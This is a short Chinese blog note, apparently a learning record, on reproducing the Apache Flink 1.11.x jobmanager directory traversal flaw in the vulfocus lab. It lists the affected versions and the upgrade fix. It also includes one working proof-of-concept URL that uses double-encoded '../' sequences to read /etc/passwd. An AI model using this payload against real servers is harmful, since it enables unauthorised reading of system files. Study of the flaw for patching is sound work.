Apache Flink jobmanager 目录遍历漏洞_vulfocus靶场如何做flink目录遍历

作者：你好赵伟 | 2024-08-11 19:17:51

踩

vulfocus靶场如何做flink目录遍历

漏洞描述：

2021年01月06日，360CERT监测发现Apache Flink发布了Apache Flink 目录穿越漏洞远程攻击者通过REST API目录遍历，可造成文件读取/写入的影响。

漏洞利用条件:

REST API目录没有认可认证的情况下暴露配置信息

漏洞影响范围：

Apache Flink 1.11.0

Apache Flink 1.11.1

Apache Flink 1.11.2

漏洞复现：

1.验证poc:/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd

修复建议：

将Flink版本升级至1.11.3或1.12.0版本。

学习记录，仅供参考！！！

声明：本文内容由网友自发贡献，不代表【wpsshop博客】立场，版权归原作者所有，本站不承担相应法律责任。如您发现有侵权的内容，请联系我们。转载请注明出处：https://www.wpsshop.cn/w/你好赵伟/article/detail/965685